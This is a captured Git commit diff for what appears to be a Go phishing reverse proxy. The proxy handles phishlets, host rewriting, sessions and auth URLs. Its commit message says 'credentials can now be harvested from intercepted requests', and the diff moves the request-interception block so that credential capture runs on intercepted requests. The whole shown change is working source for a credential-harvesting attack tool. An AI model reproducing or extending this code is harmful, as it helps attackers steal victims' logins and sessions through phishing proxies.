credentials can now be harvested from intercepted requests
This commit is contained in:
parent
f346c42048
commit
e3bef9433c
@ -603,18 +603,6 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
|
||||
}
|
||||
}
|
||||
|
||||
// check if request should be intercepted
|
||||
if pl != nil {
|
||||
if r_host, ok := p.replaceHostWithOriginal(req.Host); ok {
|
||||
for _, ic := range pl.intercept {
|
||||
//log.Debug("ic.domain:%s r_host:%s", ic.domain, r_host)
|
||||
//log.Debug("ic.path:%s path:%s", ic.path, req.URL.Path)
|
||||
if ic.domain == r_host && ic.path.MatchString(req.URL.Path) {
|
||||
return p.interceptRequest(req, ic.http_status, ic.body, ic.mime)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// replace "Host" header
|
||||
if r_host, ok := p.replaceHostWithOriginal(req.Host); ok {
|
||||
req.Host = r_host
|
||||
@ -862,6 +850,19 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
|
||||
}
|
||||
}
|
||||
|
||||
// check if request should be intercepted
|
||||
if pl != nil {
|
||||
if r_host, ok := p.replaceHostWithOriginal(req.Host); ok {
|
||||
for _, ic := range pl.intercept {
|
||||
//log.Debug("ic.domain:%s r_host:%s", ic.domain, r_host)
|
||||
//log.Debug("ic.path:%s path:%s", ic.path, req.URL.Path)
|
||||
if ic.domain == r_host && ic.path.MatchString(req.URL.Path) {
|
||||
return p.interceptRequest(req, ic.http_status, ic.body, ic.mime)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if pl != nil && len(pl.authUrls) > 0 && ps.SessionId != "" {
|
||||
s, ok := p.sessions[ps.SessionId]
|
||||
if ok && !s.IsDone {
|
||||
|
Loading…
x
Reference in New Issue
Block a user